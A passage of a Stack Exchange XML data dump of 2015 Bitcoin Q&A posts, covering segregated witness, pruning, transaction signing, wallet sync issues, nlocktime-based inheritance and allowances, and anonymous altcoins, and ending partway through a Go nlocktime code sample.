LastActivityDate="2015-11-04T13:44:22.393" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41221" PostTypeId="2" ParentId="41189" CreationDate="2015-11-04T14:22:21.407" Score="1" Body="&lt;p&gt;This is probably because you entered a wrong password. There was an old version of Electrum that sometimes returned a zero length seed instead of raising an Incorrect Password error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before posting issues, upgrade your software.&lt;/p&gt;&#xA;" OwnerUserId="15558" LastActivityDate="2015-11-04T14:22:21.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41224" PostTypeId="2" ParentId="41208" CreationDate="2015-11-04T14:40:56.607" Score="2" Body="&lt;p&gt;This is not possible with current blocks and transactions, although future improvements may allow us to prune some space from future blocks and transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's think through the idea of deleting a transaction for a moment.  Let's say we have two particular transaction in the blockchain:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;Alice mines 50 bitcoins&lt;/li&gt;&#xA;  &lt;li&gt;Alice pays Bob 50 bitcoins&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Now we delete Alice's coinbase (mining) transaction:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;[PURGED]&lt;/li&gt;&#xA;  &lt;li&gt;Alice pays Bob 50 bitcoins&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Wow!  That looks like 50 bitcoins appeared out of nowhere!&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;What if that transaction has lots of proof of work?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Could you trust the Alice-pays-Bob transaction if it had 50,000 confirmations even though you can't see where those bitcoins came from?  Sure, that like that might be a reasonable trade off of reduced security for increased convenience.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in order to validate future transactions, nodes don't just need to know who has bitcoins—they also need to know who &lt;em&gt;doesn't have&lt;/em&gt; bitcoins.  For example, imagine Bob hasn't spent his 50 bitcoins, so that transaction should be part of the blockchain; yet, when you download the blockchain from Mallory's node, this is what you get:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;[PURGED]&lt;/li&gt;&#xA;  &lt;li&gt;[PURGED]&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;At some point in the future, Bob goes to spend his 50 bitcoins.  Other nodes who didn't sync from Mallory know Bob has 50 bitcoins, so they accept blocks with that transaction. Your node rejects blocks with that transaction because it doesn't think Bob has 50 bitcoins, permanently forking you off of the consensus blockchain.  This is called &lt;em&gt;consensus failure&lt;/em&gt; and it's one of the things we try really hard to avoid in Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Why not just keep track of amounts and purge the rest?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;One way around this dilemma would be if we could split transactions into different parts:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The parts we needed to build the &lt;a href=&quot;https://bitcoin.org/en/glossary/unspent-transaction-output&quot; rel=&quot;nofollow noreferrer&quot;&gt;Unspent Transaction Output (UTXO)&lt;/a&gt; set that full nodes use to prove whether or not Bob has 50 bitcoins.&lt;/li&gt;&#xA;&lt;li&gt;Everything else, such as the large public keys and signatures we use to prove Alice was authorized to spend those 50 bitcoins.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here we encounter an additional problem with transaction pruning, a limitation of the way Nakamoto designed Transaction Identifiers (txids).  Nakamoto's design simply hashes the entire transaction and uses that to form the leaf nodes of the merkle tree whose root node gets included in the block header and secured with proof of work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sYhZf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sYhZf.png&quot; alt=&quot;txids to merkle tree&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(Image from &lt;a href=&quot;https://21.co/learn/bitcoin-mining&quot; rel=&quot;nofollow noreferrer&quot;&gt;21.co&lt;/a&gt;, CC-By-SA license)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of this design, in order to verify the UTXO-required data, you also need to download the &lt;em&gt;entire&lt;/em&gt; transaction, including its public keys and signatures which constitute about 1/3 to 2/3 of a transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes Nakamoto's &lt;a href=&quot;https://bitcoin.org/bitcoin.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;whitepaper&lt;/a&gt;-style pruning in Bitcoin right now pretty much impossible.  Happily, some smart people have been working on improving the situation.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Segregated Witness&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;...which sounds like some weird law-enforcement term...&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blockstream's testnet sidechain, &lt;a href=&quot;https://github.com/ElementsProject/elementsproject.github.io&quot; rel=&quot;nofollow noreferrer&quot;&gt;Elements Alpha&lt;/a&gt;, includes a nifty feature called &lt;a href=&quot;https://github.com/ElementsProject/elementsproject.github.io#segregated-witness&quot; rel=&quot;nofollow noreferrer&quot;&gt;segregated witness&lt;/a&gt;.  First, some background on witnesses in cryptography:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A witness is the data needed to prove some other data's validity.  This probably derives from contract law, where you often get other people to witness your signature on important documents.  In the case of Bitcoin, the witness to a particular spend being valid is the scriptPubKey of the output being spent and scriptSig of the input that references it in the spending transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Elements Alpha and the new &lt;a href=&quot;https://blockstream.com/2015/10/12/introducing-liquid/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Liquid mainnet Sidechain&lt;/a&gt;, the witness is &quot;segregated&quot; into a different part of the block and is not covered by the txid hash.  That means that nodes who want to reduce their download requirements can skip downloading witnesses for transactions with more than (say) 50,000 confirmations. However, now they can still use the block header merkle root to verify that all of the non-witness data (including the amounts transferred) are correct, and use that to build a correct UTXO set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find a source right now, but I think I've heard Wuille and Maxwell say that for typical Bitcoin mainnet transactions, this would mean about 1/3 of the transaction data doesn't have to be downloaded by nodes that don't want to validate old signatures.  On Elements Alpha where the witness is larger for transactions that use &lt;a href=&quot;https://github.com/ElementsProject/elementsproject.github.io#confidential-transactions&quot; rel=&quot;nofollow noreferrer&quot;&gt;value blinding&lt;/a&gt;, this would mean 2/3 of the data doesn't have to be downloaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a bonus, segregated witness also &quot;completely eliminates all known forms of transaction malleability&quot; (&lt;a href=&quot;https://github.com/ElementsProject/elementsproject.github.io#segregated-witness&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wuille's description&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;When will this appear in Bitcoin?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You're in luck: just a few days ago, Luke Dashjr &lt;a href=&quot;http://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-October/011579.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;presented an idea&lt;/a&gt; for how segregated witness can be soft forked onto Bitcoin mainnet.  (Previously, it had been thought that a hard fork would be necessary.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The payer pays to a scriptPubKey that always returns true but which contains the hash of a redeem script like P2SH does:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;hash_of_redeem_script&amp;gt; OP_TRUE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(I just made that up; I don't know what the real construction will look like.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the person paid later goes to spend, they provide an empty scriptSig in the transaction itself.  This is valid to old nodes, but upgraded nodes know to look somewhere else in the block for the actual scriptSig.  The witness has been segregated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For both old nodes and new nodes, they calculate the txid using the empty scriptSig, so the data covered by the merkle root still covers the important value amounts and references.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know exactly how well this compares to the segregated witness in Elements Alpha (does that cover the scriptPubKey as well?), but it does most of the work in a convenient soft forkable construction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since this is week-old engineering, it may change a lot or even be found to be unworkable in the coming months, so don't expect to see it in the immediate future—but, long term, do expect to start seeing some new pre-download pruning options appear.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2015-11-04T14:40:56.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41225" PostTypeId="2" ParentId="41219" CreationDate="2015-11-04T15:40:45.250" Score="5" Body="&lt;p&gt;Starting with Bitcoin Core 0.12.0, due out in Jan/Feb 2016, you'll be able to add the &lt;code&gt;prune&lt;/code&gt; option to your configuration file to only store the most recent blocks.  For example, if you specify &lt;code&gt;prune=5000&lt;/code&gt;, you'll only store as many of the recent blocks as fit into 5,000 MiB of disk space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On top of that, you'll also have to store the UTXO database, which is currently about 1.2 GiB and growing, plus maybe a few megabytes of other things like the binaries themselves and your wallet.  On Bitcoin.org, &lt;a href=&quot;https://bitcoin.org/en/bitcoin-core/features/requirements#system-requirements&quot;&gt;we're saying&lt;/a&gt; that 5 GiB is a reasonable minimum for now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that Bitcoin Core 0.11.* includes a prune feature, but in those versions it disables the wallet.  (This feature was initially targeted at miners who use mining software to manage payout addresses, and it was considered unwise to have regular users use the feature until it got more testing.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I were you, I would consider the feature somewhat experimental and make sure to maintain backups of the wallet (which is good policy anyway, of course).&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2015-11-04T15:40:45.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41226" PostTypeId="2" ParentId="41209" CreationDate="2015-11-04T16:01:52.037" Score="20" Body="&lt;p&gt;I found the way to do it, so, if anyone is interested, here is how to do it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you have more than 1 input, you don't have to remove the inputs that you are not going to sign, you have to remove only &lt;strong&gt;their scripts&lt;/strong&gt;. So, if you want to sign the transaction posted in the question, the first hash would be calculated like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'version': 1,&#xA;'inputs': (2)&#xA;    {&#xA;    'output_tx_hash': 'aaaa',&#xA;    'output_position': 0,&#xA;    'script': the original script, like: '76a914' + hash + '88ac',&#xA;    'sequence': ffffffff,&#xA;    }, {&#xA;    'output_tx_hash': 'bbbb',&#xA;    'output_position': 1,&#xA;    'script': '', # Nothing&#xA;    'sequence': ffffffff,&#xA;    }&#xA;'outputs': (1)&#xA;    'value' : 100000&#xA;    'script' : '76a914' + hash of btc pub key + '88ac'&#xA;'locktime': 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the second hash:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'version': 1,&#xA;'inputs': (2)&#xA;    {&#xA;    'output_tx_hash': 'aaaa',&#xA;    'output_position': 0,&#xA;    'script': '', # Nothing&#xA;    'sequence': ffffffff,&#xA;    }, {&#xA;    'output_tx_hash': 'bbbb',&#xA;    'output_position': 1,&#xA;    'script': the original script, like: '76a914' + hash + '88ac',&#xA;    'sequence': ffffffff,&#xA;    }&#xA;'outputs': (1)&#xA;    'value' : 100000&#xA;    'script' : '76a914' + hash of btc pub key + '88ac'&#xA;'locktime': 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope it helps anyone.&lt;/p&gt;&#xA;" OwnerUserId="27866" LastActivityDate="2015-11-04T16:01:52.037" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="41227" PostTypeId="1" AcceptedAnswerId="41228" CreationDate="2015-11-04T17:57:44.843" Score="4" ViewCount="2793" Body="&lt;p&gt;I'm fairly new to using bitcoins and have been having some trouble with my wallet. I bought bitcoins on coinbase and transferred them to my bitcoin core wallet. The transaction was confirmed with 616 confirmations, but it has been several days and the balance has not shown up in my wallet. At the time, the wallet was was synchronizing with the network for what must have been a total of 24+ hours and was less than half way there. Last night, before it was done synchronizing, I got a database error and now it's &quot;Reindexing blocks on disk&quot; and is 3 years behind. Are my bitcoins lost or will they be visible in my wallet once my wallet is done reindexing? &lt;/p&gt;&#xA;" OwnerUserId="30336" LastEditorUserId="5406" LastEditDate="2015-11-06T14:50:49.640" LastActivityDate="2017-08-06T07:44:46.060" Title="Wallet not updating with balance and database error" Tags="|bitcoin-core|synchronization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41228" PostTypeId="2" ParentId="41227" CreationDate="2015-11-04T18:00:19.857" Score="2" Body="&lt;p&gt;They should be there when you are done synchronizing. I would just wait for bitcoinqt to finish syncing if you are not in a rush.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As noted by this post you can do a workaround to access your coins now if needed:&#xA;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4920/my-client-stopped-synchronizing-how-can-i-access-my-wallet?rq=1&quot;&gt;My client stopped synchronizing, how can I access my wallet?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29646" LastEditorUserId="29646" LastEditDate="2015-11-04T18:06:20.070" LastActivityDate="2015-11-04T18:06:20.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41231" PostTypeId="1" CreationDate="2015-11-04T22:06:32.913" Score="4" ViewCount="248" Body="&lt;p&gt;When run in daemon mode, bitcoind accepts a parameter &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;-walletnotify=&amp;lt;cmd&amp;gt;&lt;/code&gt;&lt;/a&gt; which runs &lt;code&gt;&amp;lt;cmd&amp;gt;&lt;/code&gt; whenever a wallet transaction changes due to sending/receiving.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a similar feature in Electrum?  If not, how can it be simulated?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://github.com/spesmilo/electrum/blob/bb7b0884e31f5c7d1a4f93cf63c65401c7f496fd/scripts/watch_address&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;watch_wallet&lt;/code&gt;&lt;/a&gt; script seems to do something similar but only works on individual addresses, not whole wallets.  In addition, it only prints a message.&lt;/p&gt;&#xA;" OwnerUserId="30343" LastActivityDate="2024-03-25T09:07:51.057" Title="Simulating -walletnotify option in Electrum" Tags="|electrum|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41232" PostTypeId="2" ParentId="41213" CreationDate="2015-11-05T00:09:01.750" Score="2" Body="&lt;p&gt;It looks like this part of the code is what was adding all those UpdateTip messages:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/8fe30fb4d130532d4a0e4c9d143f03e1b85a749e/src/main.cpp#L2234&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/8fe30fb4d130532d4a0e4c9d143f03e1b85a749e/src/main.cpp#L2234&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, bitcoind thinks another chain with more cumulative work exists on your 4-node network, though from the logs, it's hard to tell how much lower it goes. You'll have to run it for longer in order to find out.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-11-05T00:09:01.750" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41233" PostTypeId="1" AcceptedAnswerId="41236" CreationDate="2015-11-05T03:35:21.637" Score="5" ViewCount="208" Body="&lt;p&gt;A basic economic property of any currency is the ability to hold its value in the long term.  While Bitcoin's ability to hold its value is evident, since there is no central authority to control the flow of BitCoins and the current traditional method of transfer of value from a deceased person to their legal heir's depend a lot on a central authority, how could inheritance work with bitcoins.  This is not a open ended question asking for opinions but an attempt into finding if the protocol or any other system has been attempted in this direction. This could include both planned transfers and those that are not planned for.&lt;/p&gt;&#xA;" OwnerUserId="10071" LastEditorUserId="5406" LastEditDate="2015-11-05T11:11:51.480" LastActivityDate="2015-11-05T15:14:38.697" Title="Inheritance and Bitcoins" Tags="|economic-theory|inheritance-plan|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="41234" PostTypeId="2" ParentId="1716" CreationDate="2015-11-05T07:42:01.687" Score="-1" Body="&lt;p&gt;try ecryptr, here's the github project:&#xA;&lt;a href=&quot;https://github.com/devgeeks/Encryptr&quot; rel=&quot;nofollow&quot;&gt;https://github.com/devgeeks/Encryptr&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://encryptr.org&quot; rel=&quot;nofollow&quot;&gt;https://encryptr.org&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Encryptr is a zero-knowledge, cloud-based e-wallet / password manager&#xA;  powered by Crypton.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;It started as an example project for seeing what Crypton could do in a&#xA;  Apache Cordova mobile app. I had a particular itch to scratch. I got&#xA;  tired of trying to remember my work password. It changes fairly often,&#xA;  is slightly complex and is generated – I can't choose it for myself.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;I had tried a few password managers but hadn't loved any of them –&#xA;  particularly on Android. So, when I needed an idea of an app to make&#xA;  to try out Crypton, this seemed like an obvious choice. At its&#xA;  simplest, Crypton is basically a cloud based key/value store using end&#xA;  to end zero-knowledge encryption. None of the data stored on the&#xA;  server can be viewed by the server.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;I wanted something to store hard to remember passwords, important&#xA;  numbers, etc across devices.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Encryptr keeps it simple. It has three types of data it can store.&#xA;  Passwords, Credit Card numbers and general key/value pairs. It can&#xA;  easily be expanded to include other default entry types.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;It is currently working on Android, and the Desktop – thanks to NW.js&#xA;  – but there are no reasons why it could not by expanded to&#xA;  Blackberry10 and Windows Phone 8.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;iOS is coming soon, just waiting on a way to either make it work with&#xA;  the new WKWebview or to push some of the hard crypto to native.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;it sounds like this may be what you are looking for.&lt;/p&gt;&#xA;" OwnerUserId="30349" LastEditorUserId="29646" LastEditDate="2015-11-05T16:20:12.577" LastActivityDate="2015-11-05T16:20:12.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41235" PostTypeId="1" AcceptedAnswerId="41237" CreationDate="2015-11-05T11:00:03.547" Score="2" ViewCount="1103" Body="&lt;p&gt;What does this error mean?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've manually constructed a transaction, and I get this error when I try to insert it in to the network.&lt;/p&gt;&#xA;" OwnerUserId="24926" LastActivityDate="2015-11-05T15:33:12.287" Title="64: non-mandatory-script-verify-flag (No error) (-26)" Tags="|raw-transaction|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41236" PostTypeId="2" ParentId="41233" CreationDate="2015-11-05T15:14:38.697" Score="6" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_documentation#tx&quot;&gt;nlocktime transactions&lt;/a&gt; are probably the closest thing you have at a protocol level. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, you can make a signed transaction that pays a bunch of your relatives on January 1st 2016. If you should die before then, the transaction goes through and they get their inheritance. If you are alive on December 31 2015, you would publish another transaction that invalidates the first transaction. If at this point, you want to continue with the same estate plan, you can publish another transaction for July 1st 2016 that pays out the inheritance. And again, on June 30th 2016, if you are alive you would publish another transaction that invalidates the TX about to be published on July 1st.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do this as long as you want and a similar transaction can be used in place of a trust (X gets some amount of bitcoins on their 21st birthday). You do have to be careful about this, as the bitcoins you're dispersing must not be moved in any way on the blockchain for the nlocktime transaction to work.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-11-05T15:14:38.697" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="41237" PostTypeId="2" ParentId="41235" CreationDate="2015-11-05T15:33:12.287" Score="1" Body="&lt;p&gt;From the &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/3038eb63e8a674b4818cb5d5e461f1ccf4b2932f/src/main.cpp#L1415-L1426&quot; rel=&quot;nofollow&quot;&gt;source code&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Check whether the failure was caused by a&#xA;// non-mandatory script verification check, such as&#xA;// non-standard DER encodings or non-null dummy&#xA;// arguments; if so, don't trigger DoS protection to&#xA;// avoid splitting the network between upgraded and&#xA;// non-upgraded nodes.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It sounds like maybe your transaction signature isn't standard.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-11-05T15:33:12.287" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41238" PostTypeId="1" CreationDate="2015-11-05T16:30:13.173" Score="3" ViewCount="181" Body="&lt;p&gt;Is there a service that lets you send Bitcoins or more interestingly Altcoins to an address over a set amount of time. Say for example I wanted to give allowance to my daughter every week for the next year at $10 each time. This might have to be done centralized or how would this be implemented on a decentralized manner?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2015-11-05T23:29:17.137" Title="Service to send Bitcoins or Altcoins over a specific amount of time? Doing it Decentralized?" Tags="|altcoin|payment|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41239" PostTypeId="1" CreationDate="2015-11-05T16:33:42.273" Score="4" ViewCount="256" Body="&lt;p&gt;How many anonymous type altcoins are there out as of 2015-Nov? Also what were their release dates and community size? I'd like to get into an anonymous coin, but I'm unsure which one has the most activity and community support.&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2015-11-05T16:52:36.033" Title="As of today (2015-Nov) how many different anonymous type altcoins are there?" Tags="|altcoin|privacy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41240" PostTypeId="2" ParentId="41239" CreationDate="2015-11-05T16:52:36.033" Score="4" Body="&lt;p&gt;Here are a few I have heard of, some are in development some are already being used. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ZeroCoin:&#xA;&lt;a href=&quot;http://zerocoin.org/&quot; rel=&quot;nofollow&quot;&gt;http://zerocoin.org/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;whitepaper:&#xA;&lt;a href=&quot;http://zerocash-project.org/paper&quot; rel=&quot;nofollow&quot;&gt;http://zerocash-project.org/paper&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The road ahead&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The plan is to make an altcoin, powered by the new Zerocash Protocol,&#xA;  that provides consumers with the financial privacy they expect from&#xA;  debit cards, credit cards, and cash. To do this, we plan on release a&#xA;  working, non research code quality client based off the bitcoin 0.9.1&#xA;  codebase integrating the new Zerocash protocol.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Monero:&#xA;&lt;a href=&quot;https://getmonero.org/home&quot; rel=&quot;nofollow&quot;&gt;https://getmonero.org/home&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;WHAT IS MONERO ? Monero is a secure, private, untraceable currency. It&#xA;  is open-source and freely available to all.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;With Monero, you are your own bank. Only you control and are&#xA;  responsible for your funds, and your accounts and transactions are&#xA;  kept private from prying eyes.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Want to find out more? An overview of Monero's main features are&#xA;  below. If you'd like to try Monero for yourself the Getting Started&#xA;  section is an excellent launching point.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ShadowCash:&#xA;&lt;a href=&quot;http://aboutshadow.com/&quot; rel=&quot;nofollow&quot;&gt;http://aboutshadow.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;SHADOWCORE&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;An entire privacy-based platform which aims to establish an anonymous&#xA;  economy, with multiple features that give people all the financial&#xA;  freedom and privacy they should have.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Shadow is a decentralized anonymous communication, commerce and&#xA;  currency platform through which the virtual currency, ShadowCash, can&#xA;  be transferred. One of the significant advantages of Shadow is its&#xA;  deep integration with the rest of Shadow's features as well as&#xA;  offering native TOR support for IP obfuscation.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;DashCoin:&#xA;&lt;a href=&quot;http://dashcoin.net/&quot; rel=&quot;nofollow&quot;&gt;http://dashcoin.net/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Dashcoin (DSH) is an automatically mutating anonymous cryptocurrency&#xA;  Dashcoin is a Next generation anonymous cryptocurrency and the first&#xA;  automatically mutating cryptocurrency created with CryptoNote&#xA;  technology. What does this really means? Our network code is always up&#xA;  to date with minimal developer cost and close to 0% errors. You are no&#xA;  longer depending on developers good will. Concentrate less on&#xA;  developers and more on your trades and projects.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Here seems to be page that has gathered a few more anonymous altcoins:&#xA;&lt;a href=&quot;http://www.altcoinfever.com/anonymous-cryptocurrency-altcoin/&quot; rel=&quot;nofollow&quot;&gt;http://www.altcoinfever.com/anonymous-cryptocurrency-altcoin/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As for the size of any of these communities, that I am unsure of. I just wanted to present you with options I have found. I cannot guarantee the validity of any of these altcoins and their claims of anonymity.&lt;/p&gt;&#xA;" OwnerUserId="29646" LastActivityDate="2015-11-05T16:52:36.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41241" PostTypeId="2" ParentId="41238" CreationDate="2015-11-05T19:25:34.513" Score="1" Body="&lt;p&gt;You can just publish a bunch of transactions with &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_documentation#tx&quot; rel=&quot;nofollow&quot;&gt;a particular nlocktime&lt;/a&gt;. Say you wanted to give your daughter an allowance of 0.1 BTC/week for a whole year. You can create one transaction with a locktime of next monday for 0.1 BTC, another transaction with a locktime of the monday after that for 0.1 BTC and so on for a whole year. The way bitcoin works, she'll receive the amounts every monday.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At any time, you can create a transaction to yourself to nullify some or all of the future transactions. Many altcoins will also have this feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if you want a constant dollar amount and not a bitcoin amount, that actually will require a service. Doing that in a decentralized way is going to be really tough since exchange rates by their nature tend to be centralized.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how you can make an nlocktime transaction using the excellent &lt;a href=&quot;https://github.com/btcsuite/btcd&quot; rel=&quot;nofollow&quot;&gt;btcd library&lt;/a&gt; in go:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;package main&#xA;&#xA;import (&#xA;    &quot;bytes&quot;&#xA;    &quot;encoding/hex&quot;&#xA;    &quot;fmt&quot;&#xA;&#xA;    &quot;github.com/btcsuite/btcd/btcec&quot;&#xA;    &quot;github.com/btcsuite/btcd/chaincfg&quot;&#xA;    &quot;github.com/btcsuite/btcd/txscript&quot;&#xA;    &quot;github.com/btcsuite/btcd/wire&quot;&#xA;    &quot;github.com/btcsuite/btcutil&quot;&#xA;)&#xA;&#xA;func main() {&#xA;&#xA;    // Ordinarily the private key would come from whatever storage mechanism&#xA;    // is being used, but for this example just hard code it.&#xA;    wif, err := btcutil.DecodeWIF(&#xA;        &quot;&amp;lt;testnet private key in WIF format here&amp;gt;&quot;)&#xA;    )&#xA;    if err != nil {&#xA;        fmt.Println(err)&#xA;        return&#xA;    }&#xA;&#xA;    compressed := false&#xA;&#xA;    privKey := wif.PrivKey&#xA;    pubKey := privKey.PubKey()&#xA;    serializedPubKey := pubKey.SerializeCompressed()&#xA;    if !compressed {&#xA;        serializedPubKey = pubKey.SerializeUncompressed()&#xA;    }&#xA;    pubKeyHash 